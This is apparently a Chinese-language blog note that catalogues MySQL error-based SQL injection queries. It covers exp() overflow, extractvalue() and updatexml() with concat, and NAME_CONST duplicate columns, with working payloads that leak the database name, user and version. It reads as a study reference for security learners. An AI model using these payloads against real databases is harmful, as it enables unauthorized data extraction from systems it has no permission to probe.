mysql内一些可以报错注入的查询语句
一、exp() 取反参数
该函数简单来说就是,以e为底的对数,在当传递一个大于709的值时,函数exp()
就会引起一个溢出错误,取反则可以导致很小的数值变得很大,比如说0
这样既可配合使用,exp(其中对随意一个数取反均会是一个大于710的数值)
因此可以使用 (exp(~(查询语句为)))
select exp(~(select*from(select database())x));
高于5.5.5的版本会出现如上的报错,不会查询出当前数据库,这个需要针对特定的版本进行使用:
二、extractvalue() 两位参数
Extractvalue(xml_frag, xpath_expr) 函数使用XPath表示法从XML字符串中提取值
xml_frag: 目标xml文档
xpath_expr: 利用Xpath路径法表示的查找路径
具体可查看这篇博客:https://xz.aliyun.com/t/7318#toc-5
根据该博客,此处我进行了复现与学习,感兴趣的朋友也可以像上面那篇博客学习。
此处长度存在限制,因此该函数常与concat、concat_ws等函数配合使用:
concat() :
select concat('大','小');
concat_ws():
select concat_ws(',','11','22','33'); #第一个参数应该为连接符
select extractvalue(1,concat(0x7e,(select user()),0x7e)); #拼接的函数可自行替换,需查询的内容也一样可以自行替换
三、updatexml() 三位参数
UPDATEXML (XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
使用该语句即可爆出当前数据库名:
select updatexml('1',concat('~',(select database())),'1');
四、mysql重复属性
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
当有新的报错函数时将会继续更新!!!